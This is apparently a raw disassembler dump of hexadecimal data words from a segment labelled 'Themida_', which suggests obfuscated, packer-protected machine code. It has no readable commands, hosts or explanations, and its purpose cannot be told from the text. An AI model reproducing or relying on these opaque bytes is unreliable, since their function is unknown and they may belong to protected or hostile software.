		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 99D13EF1h, 0BBD98C66h, 5CE9345Ah, 222D75BFh,	4E18048h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 3DC35242h
		dd 5DAC87DEh, 0E781667Ah, 0C90A1B4Eh, 0F6840Fh,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 798FDCC3h, 817DBF66h, 2F45858Bh, 8E90637h, 0B5000000h
		dd 7713A289h, 338D5D11h, 37130185h, 0E8565706h,	13h, 6628BD37h
		dd 0BA74FB3Bh, 0BE2D0DF6h, 2AFE0244h, 5F860C00h, 0E9905B5Fh
		dd 0Dh,	8ABE7B93h, 5CA403EBh, 32EDBF6Bh, 0BB66503Ah, 6A90BFD3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0E24AC355h, 89144C7Dh, 372F5D85h,	6AFB8B06h
		dd 0F9BD8B00h, 68063722h, 0EA62BB6h, 49243481h,	8B0EB928h
		dd 371F3D9Dh, 2595FF06h, 6A06372Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 6A85C357h
		dd 0D41BD8Bh, 0BD330637h, 63717A5h, 0B15B8589h,	8B66063Ah
		dd 14CE9DEh, 95010000h,	63717DDh, 0B153858Bh, 6A063Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0EA27CFC3h, 0F1EC42F5h, 6674D173h, 0B34204BBh, 1800C7C9h
		dd 8B000000h, 370A799Dh, 57B58B06h, 6A063AB1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0B7ADC357h, 81D9B563h, 0FEBF6663h, 8D858BB2h, 306370Dh
		dd 37177D9Dh, 8B068906h, 372F4585h, 0BD950106h,	8906371Ch
		dd 6A0446h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 15168DC3h, 0CE950h, 0A0E0000h, 3DB8A28Ch
		dd 1C9553A1h, 34893482h, 9D895124h, 6371971h, 53B5FF5Bh
		dd 6A063AB1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 1ED2C357h, 0DE8BE2C1h,	71DCC68h
		dd 605256FAh, 815B5B61h, 0E6332404h, 9D890617h,	6371B55h
		dd 0B15B858Dh, 8166063Ah, 908B7AEFh, 2FB46053h,	5F61D68Bh
		dd 66579050h, 0FF5BDF8Bh, 372B2595h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0EB80DE3h
		dd 1A55BD89h, 89610637h, 372E9995h, 8185C706h, 306370Fh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 1DDC355h, 39C0A36Dh, 0F3816620h
		dd 0B8607B4Eh, 4337D60Bh, 0B4D858Bh, 83610637h,	3AB15BBDh
		dd 840F0006h, 51h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0F5C35343h, 0FD754E03h, 0E9C8B307h, 44h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0A8C35545h
		dd 8C0FD807h, 5, 86DF8166h, 0C305090h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0F650BB66h, 81BD83F8h, 306370Fh
		dd 3AF850Fh, 83FC0000h,	3AB15BBDh, 840F0006h, 3A1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 58C35545h, 0A1C9D9Eh
		dd 0D465BDE2h, 830F60h,	89000000h, 3708A5BDh, 0B5FF6106h
		dd 63AB15Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	17C35242h, 0BD8B9ED7h, 63722CDh, 335D95FFh, 0BE80637h
		dd 8D000000h, 5387EB6Eh, 0E418F163h, 2B60456Ah,	371A959Dh
		dd 5B61F506h, 0B14FB58Bh, 8D29063Ah, 6371EFDh, 106C7h
		dd 0C3800001h, 810F9693h, 4, 9909BB66h,	68F0BF50h, 0F9965213h
		dd 0B15BB5FFh, 6A063Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 76EE00C3h, 0B529840Bh, 6371D1Dh
		dd 183D95FFh, 6A0637h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 6CB6C0C3h, 71BD2B56h, 5F06372Dh
		dd 0CF8B6057h, 6173C980h, 4FB58B5Fh, 6A063AB1h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0FDCAC355h, 83EB8166h, 0B5858B09h, 6A063705h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0E36DC350h, 0ED30559h, 0EE6ED381h, 8689629Dh, 0C4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 71C35646h
		dd 0C775B8AAh, 89979ED2h, 370135B5h, 75958B06h,	6A063718h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0E4E0C355h, 839161F2h, 0BB6604C2h, 0FE9DB0Bh
		dd 58000000h, 387EFEEEh, 640DB737h, 1A8CC25Fh, 508933DCh
		dd 1D9D2920h, 8D063700h, 3AC5D585h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 3C46676Ch
		dd 2BB66F9h, 0B8868968h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 9C5FC356h
		dd 7349FF7Fh, 8B93F4A9h, 371731BDh, 6A006A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0A222C353h, 0C90EF47Eh, 8D294F4Dh, 63706DDh,	0B15BB5FFh
		dd 9D8B063Ah, 63712D9h,	0DE9h, 2C9ED900h, 88E2D7FBh, 0FA3E268h
		dd 95FF4489h, 6370BB9h,	208DBD89h, 8B960637h, 890F50FAh
		dd 0
		dd 89E0B796h, 372355B5h, 5BB5FF06h, 0FF063AB1h,	372E4D95h
		dd 89BD8B06h, 83063718h, 3719E9BDh, 840F0006h, 15h, 1B01BD8Bh
		dd 66960637h, 5060E8BFh, 20CEC2BBh, 0FC509627h,	5BB5FF5Fh
		dd 0F063AB1h, 689h, 0AD9D8900h,	0FF06371Dh, 3709AD95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 14CF82Ah, 11E94Eh, 5D6A0000h, 4E5B298h
		dd 0C91E4A88h, 7215483Dh, 0FF43FD19h, 3AB15BB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 353A2B10h, 0BD0B8358h, 6370A41h, 0BDF8166h, 7595FF06h
		dd 8B06370Bh, 372B5DBDh, 9BD8306h, 2063704h, 29840Fh, 0ABF0000h
		dd 8B66A09Ch, 37117185h, 9D9D8B06h, 0C606370Ch,	0AE90000h
		dd 0E000000h, 5D065FC8h, 9415D25Ch, 759D8B10h, 0C706372Eh
		dd 3731D585h, 6, 55B50100h, 81063723h, 8A1563EFh, 0F478E927h
		dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B87043C3h, 4518081Bh, 8898589h, 0C18B0637h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BBC35343h
		dd 8B34A301h, 5FFC51FEh, 885858Dh, 6A0637h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 25A95C3h
		dd 7C34D644h, 81D36C2Eh, 26FB06DBh, 0F60504Ch, 68Ah, 830F00h
		dd 61000000h, 80240489h, 7E989EBh, 0D8000000h, 53F3FD09h
		dd 6A514Fh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 17h,	6DC35646h, 0F10AE6Bh, 9589F8B7h, 6371831h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 659FCEC3h, 0CB82BFEh, 9290858Dh, 83FC063Bh, 9D8B05C0h
		dd 6372019h, 525050F5h,	28D0Fh,	0DD8A0000h, 585A310Fh
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 5616C350h, 8C48BF57h, 6A0A8Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0C2C35040h
		dd 71E680DBh, 6AF9BF0Fh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0A0572732h, 0BCC7DFF1h
		dd 259D8BDBh, 66063732h, 0FF2DE9BFh, 370AED95h,	0DABF0F06h
		dd 23B1B589h, 8D8D0637h, 63AA135h, 29A59589h, 0F88B0637h
		dd 8D89D1FFh, 6371FF5h,	89DBD83h, 0F010637h, 5685h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 6A14DF08h, 90FA8B02h, 6688BF66h, 11E850h
		db 2 dup(0)
word_585EB6	dw 410h			; DATA XREF: Themida_:0053EF84o
		dd 4D4FFF55h, 52BCF085h, 17FEB9C7h, 51F847F9h, 0D3B6D6BFh
		dd 905F5B4Ch, 2335BD89h, 95FF0637h, 6370BB9h, 0E9F8BF0Fh
		dd 0C21h, 0E8h,	0ED815D00h, 63B929Ah, 6D271BBFh, 10E968h
		dd 0B6ED0000h, 0F2F4C2B7h, 0D655C5D1h, 7C78EC9Bh, 858D21B2h
		dd 63A84C3h, 1825B589h,	0F900637h, 580h, 0DC46BB00h, 0E9507D9Eh
		dd 14h,	748646E1h, 0F727BC7h, 9527608Eh, 0C05AE358h, 0DE9CB096h
		dd 0BD8B5390h, 63705A1h, 0BE95Bh, 193C0000h, 0B64ED257h
		dd 7F73D7D2h, 35FF640Ch, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2FC35646h
		dd 0F3AC5D4h, 6084DBC6h, 1FB8B66h, 372A919Dh, 25896406h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 2C35242h
		dd 0FBFCCECBh, 7D85FF07h, 6A06372Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0EB24C356h
		dd 0B5FFFF6Ah, 6372025h, 7C59D2Bh, 95FF0637h, 63700EDh
		dd 0F7E9h, 0F9B70F00h, 0BF0F00B0h, 8970E6D9h, 372365BDh
		dd 8171E406h, 0BFCB29CFh, 0BD9D8B2Ch, 3C06371Bh, 0D1830F61h
		dd 8B000000h, 372AD1BDh, 0C8B60F06h, 0BADAB70Fh, 6, 12659D23h
		dd 0C18B0637h, 665FDB80h, 841ED381h, 8B04E8C1h,	37018DBDh
		dd 0E2F76606h, 7B99589h, 0C82B0637h, 17DDB589h,	0D18B0637h
		dd 6E9h, 0A5958900h, 8B063729h,	371AAD85h, 0D9BF6606h
		dd 0CE995h, 9D110000h, 500FF465h, 8D1147D8h, 0C083DFBFh
		dd 0FEBF0F07h, 0F00C083h, 38Eh,	0D9BF0F00h, 830FD03Bh
		dd 12h,	0B71D9BFh, 4AE913h, 0CF810000h,	4D48655Ah, 8D8BD98Ah
		dd 6371B59h, 1859D8Bh, 0E1830637h, 2D840F01h, 8B000000h
		dd 371905BDh, 59A58306h, 0FE06371Bh, 30A5BD8Bh,	0F510637h
		dd 386h, 0F9BF0F00h, 0AD95895Bh, 6606371Ah, 0E926A0BBh
		dd 0
		dd 0B7CB58Dh, 0F98B063Bh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0B9CFADC3h, 10E89BB6h
		dd 0AC000000h, 4C98D741h, 0F5AACCA1h, 87BF8502h, 666642F7h
		dd 863BF781h, 1995FF5Fh, 6A063732h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 337AC355h
		dd 0ED9D8BBBh, 0B9063708h, 884h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 93C35747h, 72B7E69Eh, 8B4C2873h
		dd 37300D9Dh, 4800F06h,	66000000h, 838B43BBh, 0E8F8FCE1h
		dd 0Eh,	4813CDDAh, 69D12E9Bh, 253EDDB1h, 8589DE8Eh, 6370D31h
		dd 6AFC5Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BD03DCC3h, 6371A91h, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0B2ACE6C5h, 35B58971h, 0BA06371Ch, 0
		dd 0ADFFBF0Fh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 880C355h, 0E4B7C147h, 308DBD8Bh, 6A0637h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 897052C3h
		dd 3720D5B5h, 0DFBB6606h, 880D4Fh, 0FE90000h, 6B000000h
		dd 0C8D0361Dh, 59070F61h, 7D2B5991h, 958BCD9Bh,	6371875h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 4C35545h
		dd 22E3E081h, 2321BD89h, 8D8B0637h, 6371195h, 8B50D98Bh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0A6C35242h, 0EE9F98Bh
		dd 28000000h, 9EEFDF2h,	10C0843Bh, 0C40807D8h, 55BD83D6h
		dd 6372Dh, 89840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 170424h, 51410000h, 4B34C3C3h, 0B8FBh, 0BB530000h
		dd 0C2AA59Dh, 2B8D8D5Fh, 6A06374Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 8F8AC353h
		dd 893A6CC7h, 37193D95h, 6AE1FF06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 55C0C356h
		dd 66D47A23h, 237BC62Fh, 5C7169BFh, 29858918h, 83063714h
		dd 370F81BDh, 840F0006h, 352h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 5CC35242h, 0F58F7030h, 0F81BD83h
		dd 0F010637h, 34084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0B8D62068h, 6FBF6611h
		dd 81BD8391h, 306370Fh,	2D9860Fh, 0BD330000h, 6372595h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 8C7609F3h, 18219D8Bh, 8C660637h,	4E180D9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 56C35343h
		dd 0FC90A66h, 9884h, 4DBD0100h,	8B06371Bh, 372F4585h, 0D3816606h
		dd 8533236Eh, 6371301h,	8B5020B7h, 240489D8h, 0F006AFCh
		dd 0FD68DBBFh, 6686280Eh, 81EE1CBBh, 0F5022404h, 0FFFC79F6h
		dd 372B2595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 5B85899Bh, 60063AB1h, 0A5953160h
		dd 61063717h, 0E961D6B1h, 17Eh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 80C35343h, 68A0FBCh, 89000000h
		dd 37078DB5h, 53858B06h, 80063AB1h, 0C706F3h, 18h, 6870Fh
		dd 0D7810000h, 759C72F7h, 0B157B58Bh, 6A063Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 8F4D89C3h, 858B75C0h, 6370D8Dh, 0D7816657h, 895B8B6Ah
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 2C892744h, 0F943C7CCh, 0BD03899Bh, 6371C95h
		dd 2F45858Bh, 0BD8B0637h, 63725B1h, 89044689h, 372601B5h
		dd 8A605006h, 5E960EBh,	0EC000000h, 0A35B72EFh,	34896161h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 4C05B85Ah, 0B2446EBCh, 38D0Fh, 8B660000h
		dd 53B5FFDEh, 66063AB1h, 0EF0FCF81h, 7870Fh, 0F600000h
		dd 0AFB2D6BFh, 896E6861h, 8B66E0A6h, 240481DEh,	1F787A91h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F2C35545h
		dd 6E9A2h, 0B8510000h, 7A099FC2h, 840Fh, 858D0000h, 63AB15Bh
		dd 0BE605650h, 5D69DCBDh, 5B61D88Ah, 0E8240489h, 8, 5575968Fh
		dd 0CF825986h, 2DE78166h, 95FF5F86h, 6372B25h, 0E961DF8Bh
		dd 8, 0D9F6EE80h, 989D42CCh, 0F8185C7h,	30637h,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 2411ACC3h, 69BD8BCBh, 83063712h, 3AB15BBDh, 840F0006h
		dd 4Bh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
		dd 58C35747h, 0F8BF0F71h, 41E9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0E95F1169h
		dd 8166FA8Bh, 50719CEFh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 34AA45C3h, 2001E6D0h
		dd 0BD8BDA29h, 6372B45h, 0EE9h,	39735900h, 9529A521h, 0D29B4C6Ah
		dd 83EE580Ah, 370F81BDh, 850F0306h, 398h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 1AC35545h, 4FE9F5FBh
		dd 95BD8B17h, 83063729h, 3AB15BBDh, 840F0006h, 364h, 1D9D0356h
		dd 5F06371Dh, 0B15BB5FFh, 0B70F063Ah, 5D95FFFEh, 6A063733h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0AC30C353h, 0FC88B654h, 4FB58B6Dh, 66063AB1h
		dd 6C7DE8Bh, 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 4DC35545h, 81664270h,	503E35CBh, 0B7243489h
		dd 5BB5FF63h, 0FF063AB1h, 37183D95h, 3BBB6606h,	4FB58B8Fh
		dd 8B063AB1h, 0B5858BDAh, 6A063705h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 3B79C355h
		dd 7742EE94h, 813C73C6h, 34F6C9C7h, 0C4868932h,	51000000h
		dd 0FE8h, 0F5E46900h, 164FE21Ch, 0E874F1E7h, 8CE879E1h
		dd 8B5F5FF5h, 37187595h, 6D8D8906h, 83063725h, 6A04C2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0AAFA18C3h, 8A6316F3h, 65B5891Eh, 89063723h,	0BD2B2050h
		dd 63723A1h, 0C5D5858Dh, 6A063Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 515883C3h, 0B88689h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 3EABCEC3h, 5E9B7EBh, 1B000000h, 6CEBBDE0h
		dd 2A3D9D8Bh, 6A0637h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0C6C35040h, 0FF72A449h, 3AB15BB5h, 0B995FF06h
		dd 2906370Bh, 3722E5BDh, 8A0F5006h, 0Dh, 7EBF5250h, 0F7AB9EEh
		dd 5A0FB331h, 24348958h, 0FEBEBF66h, 0B15BB5FFh, 6A063Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0DB2461C3h, 2414E392h, 0F98B662Ch, 1E599D89h, 95FF0637h
		dd 6372E4Dh, 0B6D8EF81h, 0BD837B93h, 63719E9h, 87840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 520EC350h, 25BE1C91h, 14E896h
		dd 0AB5D0000h, 123A3627h, 0D770E89Dh, 0AAEDA701h, 0DB86672Ch
		dd 6E8C944h, 0BE000000h, 0C3E95150h, 11E9E8h, 0BDB40000h
		dd 5B04AE17h, 0E2A9D94Dh, 23DE819Ah, 5B2899B5h
		dd 820F505Bh, 0Bh, 58A0Fh, 0A4BF0000h, 96131E90h, 0BD64B960h
		dd 896044BAh, 37067585h, 0F135BF06h, 616113C4h,	0B5FFFC8Ah
		dd 63AB15Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	8CC35545h, 820977FBh, 0AE9F89Fh, 64000000h, 1A386BC7h
		dd 0C8BE4970h, 0AD95FF6Fh, 8B063709h, 37208DBDh, 11858906h
		dd 0FF063708h, 3AB15BB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 7463E8D6h
		dd 95FFFCC2h, 6370B75h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 2AC35646h, 0E02E8848h, 0BD83A956h, 6370409h
		dd 14840F02h, 29000000h, 37297D95h, 71858B06h, 66063711h
		dd 0C6FA8Bh, 0C750B700h, 3731D585h, 6, 0B9666000h, 0BF6679B4h
		dd 6661CAC0h, 0E300DF81h, 0FFF4D7E9h, 0E5D380FFh, 0D380C18Bh
dword_586B04	dd 85858DFCh, 6A063708h, 3E85600h, 20000000h, 895EC35Eh
					; DATA XREF: Themida_:0053E400o
		dd 81042474h, 1B042444h, 46000000h, 556DC356h, 0C7AD5AAEh
		dd 0E8569C5Ah, 12h, 352E37E9h, 4E60DFF4h, 7F0A7394h, 137621Dh
		dd 0BF66AB07h, 5B5B6125h, 0EEBF6650h, 240489CAh, 252DB509h
		dd 6A0637h, 4819D8Bh, 6A0637h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0FEC35040h,	0FF38166h, 8C858DDCh
		dd 83063BA0h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0C431B1C3h, 669E98E9h, 50BC8ABBh
		dd 997FBB66h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0F046C352h,	0DE5B5F7h
		dd 6AB31Ah, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Bh,	0EDC35747h, 0ECAC68B2h,	6A148EBBh, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0BF66D3BCh, 0F6071A1h, 680h,	8D0F00h, 61000000h, 0AED95FFh
		dd 95890637h, 6370D49h,	0A1358D8Dh, 0BF66063Ah,	0D2BBB48Ah
		dd 0FF1E9D7Ch, 0D8D89D1h, 8106372Ah, 223D65DFh,	9DBD8344h
		dd 1063708h, 71850Fh, 8E0F0000h, 8, 4D958B60h, 61063710h
		dd 0F90026Ah, 584h, 0C836BB00h,	52501D1Ah, 6BBBBB66h, 6A905Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 666846C3h, 95FFFB8Bh, 6370BB9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 1FC35646h, 5BB1BF1Fh, 99B529F8h
		dd 0E9063720h, 0DEBh, 0E8h, 0ED815D00h,	63BA096h, 0F59D8960h
		dd 0B906370Ch, 3EE03013h, 0DB816661h, 858D048Ch, 63A84C3h
		dd 165BD29h, 66500637h,	8992C0BFh, 95292404h, 63731DDh
		dd 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8912C350h, 370F7585h
		dd 25896406h, 0
		dd 0FFFEBF0Fh, 372A7D85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0E86C1DD9h
		dd 1B8763A9h, 0FF6AF419h, 53E5CB81h, 0B5FF7548h, 6370CE1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D4C35747h
		dd 58598C97h, 5890FD7h,	66000000h, 73B6DB81h, 95FFDCB3h
		dd 63700EDh, 11CE9h, 1F86000h, 3711D58Dh, 0B06106h, 7E9h
		dd 0AEF16100h, 8AC03EFEh, 9D8970E6h, 6372D69h, 8D2971E4h
		dd 63721E9h, 7E956h, 171D0000h,	0A28C0A0Eh, 613C5FB8h
		dd 0DF830Fh, 5E90000h, 0
		dd 0C35C7C62h, 60C8B60Fh, 0BE8h, 0CC391400h, 0D485A922h
		dd 0F0E1A13Bh, 59C2B70Fh, 6BA61h, 0F600000h, 8B61CEB7h
		dd 8BB66C1h, 4E8C1E2h, 5E9h, 771B9500h,	0F766B729h, 852960E2h
		dd 6372AE1h, 2E598D01h,	2B610637h, 5BF850C8h, 9D8BD18Bh
		dd 6370ED5h, 0CE9h, 6870F00h, 89000000h, 3722F9B5h, 2D858B06h
		dd 0B3063710h, 7C0835Fh, 1B01B589h, 0C0830637h,	0CDB58900h
		dd 3B06372Ah, 0D830FD0h, 0F000000h, 46E9DEBFh, 66000000h
		dd 0B511D381h, 2DC18D8Bh, 0BF660637h, 0E1839107h, 2E840F01h
		dd 0E9000000h, 0Eh, 3883A079h, 1FB5D142h, 7D9C65F5h, 0A58333D6h
		dd 6372DC1h, 1FBF66FEh,	2D9589BBh, 66063710h, 63D0CF81h
		dd 0E9h, 0CAB58D00h, 6A063B15h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 909BC350h, 0B2E741DCh
		dd 6810FEAh, 8B000000h,	3709459Dh, 0C9BD2906h, 6A063730h
		dd 12E800h, 30220000h, 2159806h, 0C4D1E365h, 0D3697389h
		dd 6922452h, 1D1D9D8Bh,	0FF5B0637h, 37321995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 511CDE30h, 5718C781h, 0B95B1B1Dh, 78Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C6C35242h, 9EDBF0BAh
		dd 0BD8B603Eh, 6370CE9h, 6AFCE183h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 8825C353h
		dd 0B11D9C05h, 0F8BF0FA9h, 9D46A8BBh, 5B56FC2Fh, 0BAC02Bh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0B89AC357h, 0EE886C5h,	28000000h
		dd 10AD2D22h, 82B582CFh, 0FC6A6593h, 599D8B77h,	5F06371Fh
		dd 1B4DBD89h, 14BB0637h, 0AD4EFFB6h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 881CC356h, 9D666292h, 5EED33D4h
		dd 206DBD89h, 6A0637h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 757FF2C3h, 880Dh, 0DD9D8B00h, 8B063713h
		dd 37187595h, 8DB58906h, 8B063730h, 3711958Dh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 59A2C351h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	8DC35141h, 5BE270ADh, 813898B3h, 8BFE8BCCh, 55BD83DAh
		dd 6372Dh, 33840Fh, 0B8FC0000h,	0
		dd 9E9h, 5C6AC500h, 5FA19171h, 8D8DF539h, 6374E2Bh, 2965BD2Bh
		dd 0E1FF0637h, 0AE9h, 361FA000h, 21C78AA2h, 8B9D10EBh
		dd 81BD83D9h, 6370Fh, 45B840Fh,	15B30000h, 0F81BD83h, 0F010637h
		dd 46784h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0E781C6B2h, 2EF3EC83h, 81BD83F9h
		dd 306370Fh, 400860Fh, 9D330000h, 63705B9h, 55006A60h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 4EE81B58h, 0ECCB8166h, 8C66F87Eh, 50006AD9h,	3E8h, 0C3582000h
